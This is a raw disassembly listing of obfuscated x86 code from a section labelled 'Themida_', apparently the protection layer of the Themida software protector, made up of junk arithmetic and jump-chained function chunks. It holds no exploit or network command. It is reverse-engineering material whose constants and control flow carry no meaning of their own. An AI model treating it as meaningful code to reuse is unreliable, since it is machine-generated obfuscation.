		add	eax, ecx
		pop	ecx
		add	eax, 4
		sub	esp, 4
		mov	[esp+0], eax
		push	[esp-6+arg_0+2]
		mov	eax, [esp+0]
		jmp	loc_5A4AFA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5930B2:				; CODE XREF: Themida_:00597CE8j
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	433Fh
		mov	[esp], edx
		mov	edx, 2
		add	edi, edx
		jmp	loc_5A1765
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5930D1:				; CODE XREF: sub_59390B+8841j
		pop	eax
		jmp	loc_594CE6
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B7


loc_5930D7:				; CODE XREF: sub_5A16B7+96Bj
		pop	ebp
		xor	edx, 0A37DE2h
		jmp	loc_592292
; END OF FUNCTION CHUNK	FOR sub_5A16B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5930E3:				; CODE XREF: sub_59390B+E8A1j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5930EF:				; CODE XREF: sub_59390B+11D3Ej
		pop	eax
		add	edi, 4
		jmp	loc_592775
; ---------------------------------------------------------------------------


loc_5930FB:				; CODE XREF: sub_59390B+8776j
		add	ebx, 31C31ECBh
		sub	ebx, 0C2B1116h
		sub	ebx, edx
		jmp	loc_5982AD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ecx
		push	eax
		jmp	loc_59B140
; ---------------------------------------------------------------------------


loc_593118:				; CODE XREF: Themida_:005924A8j
		pop	eax
		push	ebx
		jmp	loc_59BF9D
; ---------------------------------------------------------------------------


loc_59311F:				; CODE XREF: Themida_:005A00EEj
		push	edx
		mov	edx, 35C11BDBh
		mov	edi, 35C11BDFh
		xor	edi, edx
		pop	edx
		push	esi
		mov	esi, 1F53EE4h
		add	eax, esi
		pop	esi
		add	eax, edi
		sub	eax, 1F53EE4h
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59B5C1
; ---------------------------------------------------------------------------


loc_59314F:				; CODE XREF: Themida_:005A281Ej
		push	eax
		add	dword ptr [esp], 6A69305Fh
		jmp	loc_59678C
; ---------------------------------------------------------------------------


loc_59315C:				; CODE XREF: Themida_:005A1FE9j
		push	639Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5A5B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59317B:				; CODE XREF: sub_59390B+342Dj
		add	edx, 4
		push	52D3h
		mov	[esp+0], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp+0]
		pop	esp
		push	1FB9h
		mov	[esp+0], ebp
		push	esp
		pop	ebp
		push	edx
		jmp	loc_593FF8
; ---------------------------------------------------------------------------


loc_59319F:				; CODE XREF: sub_59390B+DD32j
		mov	[esp+0], ebp
		push	6FE765A9h
		pop	ebp
		or	ebp, 30582ADCh
		and	ebp, 6E613362h
		jmp	loc_5A2940
; ---------------------------------------------------------------------------


loc_5931B9:				; CODE XREF: sub_59390B+380j
		push	eax
		mov	eax, 531C80D8h
		sub	esi, eax
		jmp	loc_596B1C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_5931C6:				; CODE XREF: sub_5A23FB-D74j
		and	edx, ebx
		pop	ebx
		push	edi
		mov	edi, 66EFE789h
		add	edx, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		xor	eax, edx
		jmp	loc_59718D
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594C24


loc_5931E1:				; CODE XREF: sub_594C24+E2FBj
		pop	edx
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+10h+var_10]
		jmp	loc_5940E0
; END OF FUNCTION CHUNK	FOR sub_594C24
; ---------------------------------------------------------------------------


loc_5931FE:				; CODE XREF: Themida_:0059F159j
		mov	[esp], edx
		push	78A53C6Dh
		pop	edx
		push	ebx
		mov	ebx, 65D07B8Dh
		xor	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 5FDB29E7h
		push	233Ch
		mov	[esp], eax
		mov	eax, 4C69540Dh
		xor	ecx, eax
		mov	eax, [esp]
		jmp	loc_59D6AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_59322D:				; CODE XREF: sub_59CAFB+66EBj
		add	esp, 4
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+0]
		jmp	loc_5A501F
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_593246:				; CODE XREF: sub_59390B+510j
		mov	ecx, 7539217Ah
		mov	ebp, 8AC6DE8Ah
		jmp	loc_59D97C
; ---------------------------------------------------------------------------


loc_593255:				; CODE XREF: sub_59390B+A9A8j
		pop	esi
		mov	ebx, edx
		pop	edx
		jmp	loc_59A663
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59325E:				; CODE XREF: Themida_:0059CBB7j
		push	edx
		mov	dl, 0E7h
		dec	dl
		jmp	loc_59AAAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597198


loc_593268:				; CODE XREF: sub_597198+7C3Fj
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_597198
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59326D:				; CODE XREF: sub_59FCCB-2BC8j
		sub	bl, cl
		jmp	loc_592DEF
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_593274:				; CODE XREF: Themida_:005A032Cj
		add	eax, 1A4A1204h
		jmp	loc_5913C3
; ---------------------------------------------------------------------------


loc_59327E:				; CODE XREF: Themida_:005A54B3j
		neg	esi
		add	esi, 63F5CAEh
		jmp	loc_59B5CB
; ---------------------------------------------------------------------------


loc_59328B:				; CODE XREF: Themida_:005A23DDj
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 9E433437h
		add	eax, edx
		push	dword ptr [esp]
		jmp	loc_5988B1
; ---------------------------------------------------------------------------


loc_5932A1:				; CODE XREF: Themida_:005A4B54j
		push	ebx
		jmp	loc_59833E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_5932A7:				; CODE XREF: sub_5A2FE9-B87Ej
		mov	[esp+10h+var_10], esi
		mov	esi, 4BEF7BF9h
		jmp	loc_5926D0
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------


loc_5932B4:				; CODE XREF: Themida_:0059A48Bj
		inc	esi
		jmp	loc_5A16B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5932BA:				; CODE XREF: sub_59390B+D75j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp+0]
		pop	esp
		mov	[esp-8+arg_0], esi
		jmp	loc_5A1638
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5932CC:				; CODE XREF: sub_59A431+8B6Dj
		pop	ebp
		jmp	loc_5A0FB2
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_5932D2:				; CODE XREF: Themida_:005935CEj
		add	ebx, 5157470Ch
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_598B6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5932E3:				; CODE XREF: sub_59390B+A7C7j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-8+arg_0]
		mov	esp, [esp-8+arg_0]
		jmp	loc_5A19A0
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_5932F7	proc near		; CODE XREF: sub_59F505-9526j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005917C9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005927B7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005949AA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00595A89 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005996F4 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059A4A2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AFE3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059ED01 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A035E SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A1E81 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A3DF1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A43B5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A4523 SIZE 0000000B BYTES

		push	ebx
		push	esi
		jmp	loc_5996F4
sub_5932F7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5932FE:				; CODE XREF: Themida_:00591880j
		push	73F4h
		jmp	loc_591244
; ---------------------------------------------------------------------------


loc_593308:				; CODE XREF: Themida_:00599C07j
		mov	ecx, 4
		add	ebx, 30CC2EFDh
		add	ebx, ecx
		sub	ebx, 30CC2EFDh
		jmp	loc_59E906
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_593320:				; CODE XREF: sub_59390B+1393j
		inc	eax
		shr	eax, 5
		sub	eax, 8F880A38h
		push	414Ch
		mov	[esp+0], eax
		push	edi
		mov	edi, 4AFB21A0h
		mov	eax, edi
		jmp	loc_59CEC8
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59333E	proc near		; CODE XREF: sub_595ED9-3147j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00590D9B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591CB3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005921D5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00592E32 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00594A6A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00595095 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059BC3E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D4B6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D9DE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059E567 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A1055 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A442F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4772 SIZE 00000006 BYTES

		push	ebx
		push	ecx
		push	ebx
		mov	ebx, 190E69FCh
		jmp	loc_59BC3E
sub_59333E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_59334B:				; CODE XREF: sub_5964AF+4E7Cj
		add	[esp-8+arg_C], ecx
		pop	ecx
		jmp	loc_5A46E1
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_593355:				; CODE XREF: sub_59390B+76D3j
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_599026
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_593368:				; CODE XREF: Themida_:005A027Bj
		sub	ebp, esi
		pop	esi
		shl	ebp, 2
		push	esi
		mov	esi, 5E454591h
		jmp	loc_595C82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2AF


loc_593379:				; CODE XREF: sub_59B2AF-A2ABj
		pop	esi
		add	esi, 4
		push	edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		jmp	loc_5A555F
; END OF FUNCTION CHUNK	FOR sub_59B2AF

; =============== S U B	R O U T	I N E =======================================



sub_59338E	proc near		; DATA XREF: Themida_:00590A34o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00590F65 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005958BB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00595F3E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059677E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00598C7E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00599A8B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00599CD1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AAFB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D784 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A0FBA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A1268 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A21D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A567A SIZE 0000000B BYTES

		mov	ecx, [esp+0]
		push	237Bh
		mov	[esp+4+var_4], edx
		push	esp
		mov	edx, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, 4
		push	ebx
		mov	ebx, 53616604h
		sub	edx, ebx
		jmp	loc_5A0FBA
sub_59338E	endp


; =============== S U B	R O U T	I N E =======================================



sub_5933BB	proc near		; CODE XREF: sub_59CAFB-4CE3j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00592726 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00594816 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598F50 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 005A51F4 SIZE 0000000D BYTES

		push	ebx
		jmp	loc_592726
sub_5933BB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5933C1:				; CODE XREF: sub_59390B+1126Cj
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A0E22
; ---------------------------------------------------------------------------


loc_5933D3:				; CODE XREF: sub_59390B+80E4j
		sub	esi, 17FD48EEh
		pop	edi
		pop	ecx
		jmp	loc_5A2B8E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_5933E0:				; CODE XREF: sub_591FC5+5040j
		add	al, 0C6h
		pop	ebx
		push	44C3h
		mov	[esp+4+var_4], ecx
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	al, 0F5h
		dec	al
		xor	al, 0AEh
		add	al, 5Ah
		jmp	loc_59A9DF
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_593401:				; CODE XREF: Themida_:00596A4Aj
		sub	ch, dh
		pop	dx
		mov	ah, ch
		mov	ecx, [esp]
		add	esp, 4
		mov	dh, ah
		pop	eax
		xor	al, dh
		mov	dx, [esp]
		jmp	loc_591FE7
; ---------------------------------------------------------------------------


loc_59341E:				; CODE XREF: Themida_:005A52C0j
		mov	al, 0F7h
		not	al
		inc	al
		jmp	loc_5A5157
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A113A


loc_593429:				; CODE XREF: sub_5A113A+10j
		push	esi
		jmp	loc_5919C9
; END OF FUNCTION CHUNK	FOR sub_5A113A
; ---------------------------------------------------------------------------


loc_59342F:				; CODE XREF: Themida_:00591607j
		add	ecx, edx
		jmp	loc_59CDF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_593436:				; CODE XREF: sub_59390B+6E8j
		add	ebp, 23BD8222h
		sub	ecx, 75E11DE6h
		jmp	loc_59A739
; ---------------------------------------------------------------------------


loc_593447:				; CODE XREF: sub_59390B+11079j
		add	ebx, ecx
		pop	ecx
		mov	edx, [esp-0Ch+arg_4]
		push	ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 6E354959h
		xor	edx, 48B016EEh
		or	edx, 235E74F1h
		jmp	loc_595044
; ---------------------------------------------------------------------------


loc_593467:				; CODE XREF: sub_59390B+1044Bj
		add	al, cl
		sub	al, 5Ch
		pop	ecx
		mov	dl, al
		mov	eax, [esp-8+arg_0]
		push	6CAh
		mov	[esp+0], ebx
		mov	ebx, esp
		push	679Dh
		mov	[esp+0], edi
		mov	edi, 5DAC159Ch
		add	edi, 318E7C5Ch
		shr	edi, 1
		or	edi, 548F46F0h
		add	edi, 2ABF2AA3h
		xor	edi, 825E799Bh
		add	ebx, edi
		mov	edi, [esp+0]
		add	esp, 4
		add	ebx, 4
		jmp	loc_5A44BC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5934B2:				; CODE XREF: sub_59CAFB+7A10j
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	edx
		jmp	loc_5A1D62
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5934BE:				; CODE XREF: sub_59390B+387Dj
		xchg	edi, ebp
		shl	ebp, 5
		jmp	loc_5992B6
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_5934C8:				; CODE XREF: sub_5A17BF-FC48j
		sub	esi, 4E907A38h
		add	esi, 3F9568C9h
		jmp	loc_5A4867
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------


loc_5934D9:				; CODE XREF: Themida_:0059BEF6j
		mov	ebp, 43275FDEh
		jmp	loc_59B974
; ---------------------------------------------------------------------------


loc_5934E3:				; CODE XREF: Themida_:005A2718j
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		movzx	ecx, al
		push	6922h
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 179C526Eh
		xor	ebx, 506B6C57h
		shr	ebx, 4
		add	ebx, 0FB808C21h
		add	eax, ebx
		pop	ebx
		jmp	loc_59DBD0
; ---------------------------------------------------------------------------


loc_59351B:				; CODE XREF: Themida_:00594C78j
		push	ebp
		jmp	loc_5A3D40
; ---------------------------------------------------------------------------


loc_593521:				; CODE XREF: Themida_:00597418j
		push	ebx
		mov	bh, 15h
		or	bh, 0C1h
		xor	bh, 11h
		and	bh, 0F4h
		xor	bh, 0BAh
		jmp	loc_5959EE
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59353F:				; CODE XREF: sub_59390B+FD2Cj
		sub	cl, 58h
		sub	cl, bl
		add	cl, 58h
		jmp	loc_59746F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59354C:				; CODE XREF: Themida_:0059D88Dj
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A25D


loc_593551:				; CODE XREF: sub_59A25D-36FBj
		push	[esp+8+var_4]
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		jmp	loc_5983BE
; END OF FUNCTION CHUNK	FOR sub_59A25D
; ---------------------------------------------------------------------------


loc_593569:				; CODE XREF: Themida_:0059637Cj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		jmp	loc_59D022
; ---------------------------------------------------------------------------


loc_59357C:				; CODE XREF: Themida_:005A20F2j
		sub	esi, 61A257A3h
		jmp	loc_599D56
; ---------------------------------------------------------------------------


loc_593587:				; CODE XREF: Themida_:005A263Bj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5A27DD
; ---------------------------------------------------------------------------


loc_5935A4:				; CODE XREF: Themida_:00596292j
		add	esp, 4
		xor	dl, 0D5h
		add	al, dl
		pop	edx
		push	edx
		jmp	loc_59131B
; ---------------------------------------------------------------------------


loc_5935B6:				; CODE XREF: Themida_:00592CE9j
		mov	[esp], edx
		mov	edx, 17CD50BBh
		inc	edx
		dec	edx
		add	edx, 0E832AF49h
		sub	ebx, 5157470Ch
		add	ebx, edx
		jmp	loc_5932D2
; ---------------------------------------------------------------------------


loc_5935D3:				; CODE XREF: Themida_:005A1F52j
		pop	ecx
		add	esp, 4
		sub	esi, 56DD3862h
		add	esi, edx
		add	esi, 56DD3862h
		add	esi, 691C1731h
		mov	edx, [esp]
		add	esp, 4
		add	eax, esi
		pop	esi
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5A4CD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_59360A:				; CODE XREF: sub_5936EC+79EAj
		xor	[esp+0Ch+var_C], esi
		xor	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		push	7EBDh
		jmp	loc_5A122E
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_593630:				; CODE XREF: sub_591FC5+1267Ej
		and	ah, 0B1h
		jmp	loc_59C9A1
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_593638:				; CODE XREF: Themida_:00592547j
		mov	[esp], ebp
		push	7035h
		jmp	loc_5A4056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_593645:				; CODE XREF: sub_598762+A9j
		pop	esi
		push	edx
		mov	edx, 2
		sub	ebp, 0BC706Ch
		jmp	loc_594DBD
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_593657:				; CODE XREF: sub_599AE1+6BC0j
		dec	ebx
		xchg	ebx, edx
		jmp	loc_59B5E1
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59365F:				; CODE XREF: sub_59390B+CA2Aj
		mov	edi, 15785AECh
		jmp	loc_5A0F83
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_593669:				; CODE XREF: sub_59CAFB+3BD9j
		mov	ebp, ebx
		push	ebp
		pop	ecx
		jmp	loc_595E4F
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_593672:				; CODE XREF: Themida_:00599EB5j
		pop	eax
		add	ch, 3Ah
		jmp	loc_596A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59367B:				; CODE XREF: sub_59390B-E4Ej
		add	bl, ch
		jmp	loc_599ED1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_593682:				; CODE XREF: Themida_:005A384Aj
		add	ecx, 965CF58h
		xor	ebp, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	eax, 24A23F09h
		add	eax, ebp
		push	ecx
		mov	ecx, 56CB71D5h
		add	ecx, 0FFFFFFFFh
		shr	ecx, 1
		inc	ecx
		shr	ecx, 2
		jmp	loc_5996DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_5936B8:				; CODE XREF: sub_591FE1+C3DAj
		add	ebp, edx
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_594FBA
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5936C2:				; CODE XREF: sub_59390B+1290j
		mov	esp, [esp-14h+arg_C]
		add	[esp-14h+arg_C], eax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_5936CE:				; CODE XREF: sub_59E918+60B2j
		add	eax, 4
		jmp	loc_59FBA8
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F5C8


loc_5936D8:				; CODE XREF: sub_59F5C8-D2E6j
		inc	dl
		jmp	loc_59AFB2
; END OF FUNCTION CHUNK	FOR sub_59F5C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_5936DF:				; CODE XREF: sub_591FE1+2A84j
		pop	esp
		jmp	loc_59E6F7
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5936E5:				; CODE XREF: sub_59390B+4C53j
		add	edx, ecx
		jmp	loc_59E0C3
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_5936EC	proc near		; CODE XREF: sub_59390B+2A43j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059121B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591A00 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592503 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00592753 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059360A SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005950A4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595B88 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00597375 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00598FA2 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00599464 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059A875 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059B0CA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059CC03 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D8CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E0C9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E1CD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059E833 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059F49E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059FDEE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059FF9C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A122E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A2D00 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A3738 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A48BF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A52F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A55AC SIZE 00000025 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	ebx
		mov	ebx, 11E71C8Dh
		sub	ebx, 27863617h
		sub	ebx, 264977E9h
		neg	ebx
		xor	ebx, 533EE00Ch
		mov	ebp, ebx
		pop	ebx
		jmp	loc_59FF9C
sub_5936EC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_593717:				; CODE XREF: sub_59FCCB-4A8Bj
		pop	edx
		jmp	loc_59DF10
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59371D:				; CODE XREF: sub_59390B+6D24j
		and	ecx, 68026BC3h
		shl	ecx, 6
		dec	ecx
		add	ecx, 7E32C1Eh
		xor	ecx, 716B869Dh
		sub	edi, ecx
		pop	ecx
		add	edi, 79A5028Fh
		push	ebp
		mov	ebp, 623B3435h
		add	ebp, 2179425Ch
		add	ebp, 9C459C85h
		sub	edi, ebp
		jmp	loc_5A1BC3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_593755:				; CODE XREF: Themida_:00598D55j
		push	4F27h
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	ecx
		jmp	loc_59C5E0
; ---------------------------------------------------------------------------


loc_59376E:				; CODE XREF: Themida_:00599D10j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	small 10D3h
		mov	[esp], si
		jmp	loc_59C48A
